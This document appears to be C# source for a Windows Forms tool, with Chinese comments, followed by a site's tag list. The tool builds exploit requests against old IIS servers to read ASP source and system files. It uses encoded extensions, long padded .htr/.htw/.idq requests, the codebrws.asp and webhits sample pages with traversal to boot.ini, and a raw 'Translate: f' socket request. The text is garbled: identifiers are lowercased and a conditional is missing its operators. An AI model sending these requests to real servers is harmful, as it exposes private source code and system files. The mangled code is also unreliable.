//主要方法
protected void btngo_click (object sender, system.eventargs e)
{
//解析url
string strserver = this.txtserver.text ;
string strurl = this.txtfilename.text ;
char [] point = {'.'} ; //定义分割符为"."
char[] line = {'/'} ; //定义分割符为"."
string [] arrstring = strurl.split(line) ;
//求asp文件全名
string strfilename = arrstring[arrstring.length - 1] ;
//求从根目录下的路径
string strpath = strurl.substring( 0 ,
strurl.length - strfilename.length) ;
//解析文件全名
arrstring = strfilename.split(point) ;
//求文件扩展名
string strlast = arrstring[arrstring.length - 1] ;
//求文件名
string strfirst = strfilename.substring( 0 ,
strfilename.length - strlast.length - 1) ;
//使按钮、输入框等失效
this.txtserver.readonly = true ;
this.txtfilename.readonly = true ;
this.btnclear.enabled = false ;
this.btngo.enabled = false ;
if (this.txtserver.text == "http://" this.txtfilename.text == ""
this.txtserver.text.trim()== ""
this.txtserver.text.substring(0,7) != "http://")
{
messagebox.show("请输入正确的主机名和文件名!") ;
this.txtserver.focus() ;
}
else
{
this.txtresult.visible = true ;
this.txtresult.readonly = true ;
this.barstatus.text = "正在连结主机…" ;
string strrequestfile ;
switch (this.cbomethod.selectedindex)
{
case 0: //直接读取
strrequestfile = strserver + strurl ;
break ;
case 5 : //%2e%41sp
strrequestfile = strserver + strpath + strfirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strrequestfile = strserver + strurl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;
case 10: //codebrws.asp
strrequestfile = strserver + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strurl ;
break ;
case 11: //showcode.asp
strrequestfile = strserver + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;
case 12 : //null.htw
strrequestfile = strserver + "/null.htw?ciwebhitsfile="
+ strurl + "%20&cirestriction=none&cihilitetype=full" ;
break ;
case 13 : //qfullhit.htw
strrequestfile = strserver + "/iissamples/issamples/oop/qfullhit.htw?"
+ "ciwebhitsfile=/../../boot.ini&cirestriction=none"
+ "&cihilitetype=full";
break ;
case 14 : //qsumrhit.htw
strrequestfile = strserver + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "ciwebhitsfile=/../../boot.ini&cirestriction=none"
+ "&cihilitetype=full";
break ;
case 15 : //query.idq
strrequestfile = strserver + "/query.idq?citemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
break ;
case 16: //search/qfullhit.htw
strrequestfile = strserver + "/iissamples/exair/search/qfullhit.htw?"
+ "ciwebhitsfile=/../../boot.ini&cirestriction=none"
+ "&cihilitetype=full";
break ;
case 17: // search/qsumrhit.htw
strrequestfile = strserver + "/iissamples/exair/search/qsumrhit.htw?"
+ "ciwebhitsfile=/../../boot.ini&cirestriction=none"
+ "&cihilitetype=full";
break ;
case 18: //iirturnh.htw
strrequestfile = strserver + "/iishelp/iis/misc/iirturnh.htw?"
+ "ciwebhitsfile=/../../boot.ini&cirestriction=none"
+ "&cihilitetype=full";
break ;
case 19: //.htw
strrequestfile = strserver + strurl
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20.htw?"
+ "ciwebhitsfile=/../../boot.ini&cirestriction=none"
+ "&cihilitetype=full" ;
break ;
default:
strrequestfile = strserver + strurl + this.cbomethod.text ;
}
this.barstatus.text = "发送请求:"
+ (strrequestfile.length >= 50 ?
strrequestfile.substring(0 , 50)
:strrequestfile)
+ "...";
string strresult ;
//如果不是translate:f方法则可以直接发送http请求
if (this.cbomethod.selectedindex != 20)
{
//直接发送http请求
strresult = get_http(strrequestfile) ;
this.barstatus.text += "完成。" ;
strresult = strresult == "" ? "未找到!" : strresult ;
this.txtresult.text = strresult ;
}
else //translate:f方法需要建立tcp/ip连接
{
string strrequest = "get " + strserver + strurl
+ "\r\nhttp/1.0\r\ntranslate:f\r\n" ;
strresult = get_socket_request(strserver , strrequest , 80) ;
this.barstatus.text += "完成。" ;
strresult = strresult == "" ? "未找到!" : strresult ;
this.txtresult.text = strresult ;
}
}
//使按钮、输入款等恢复
this.txtserver.readonly = false ;
this.txtfilename.readonly = false ;
this.btnclear.enabled = true ;
this.btngo.enabled = true ;
}
//通过同server建立tcp/ip连接,发送socket命令
private string get_socket_request(string a_strserver , string a_strrequest , int32 a_intport)
{
//set up variables and string to write to the server
encoding ascii = encoding.default ;
string get = a_strrequest + "connection: close\r\n\r\n";
//string get =
byte[] byteget = ascii.getbytes(get);
byte[] recvbytes = new byte[256];
string strretpage = null;
// ipaddress and ipendpoint represent the endpoint that will
// receive the request
ipaddress hostadd = dns.resolve(a_strserver.substring(7 ,a_strserver.length - 7));
ipendpoint ephost = new ipendpoint(hostadd, a_intport);
//create the socket for sending data over tcp
socket s = new socket(addressfamily.af.net, sockettype.sockstream,
protocoltype.prottcp );
// connect to host using ipendpoint
if (s.connect(ephost) != 0)
{
strretpage = "unable to connect to host";
return strretpage;
}
// sent the get text to the host
s.send(byteget, byteget.length, 0);
// receive the page, loop until all bytes are received
int32 bytes = s.receive(recvbytes, recvbytes.length, 0);
strretpage = strretpage + ascii.getstring(recvbytes, 0, bytes);
while (bytes > 0)
{
bytes = s.receive(recvbytes, recvbytes.length, 0);
strretpage = strretpage + ascii.getstring(recvbytes, 0, bytes);
}
return strretpage ;
}
//获取http页面函数
private string get_http(string a_strurl)
{
string strresult ;
httpwebrequest myreq = (httpwebrequest)
webrequestfactory.create(a_strurl) ;
try
{
httpwebresponse httpwresp = (httpwebresponse)myreq.getresponse();
stream mystream = httpwresp.getresponsestream () ;
streamreader sr = new streamreader(mystream , encoding.default);
stringbuilder strbuilder = new stringbuilder();
while (-1 != sr.peek())
{
strbuilder.append(sr.readline()+"\r\n");
}
strresult = strbuilder.tostring();
}
catch(exception exp)
{
strresult = "错误:" + exp.message ;
}
return strresult ;
}
//退出
protected void mnuexit_click (object sender, system.eventargs e)
{
if (messagebox.show("真的退出吗?" , "退出系统" , messagebox.yesno) == dialogresult.yes)
{
this.close () ;
}
}
//主函数
public static void main(string[] args)
{
application.run(new form1());
}
}
}
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器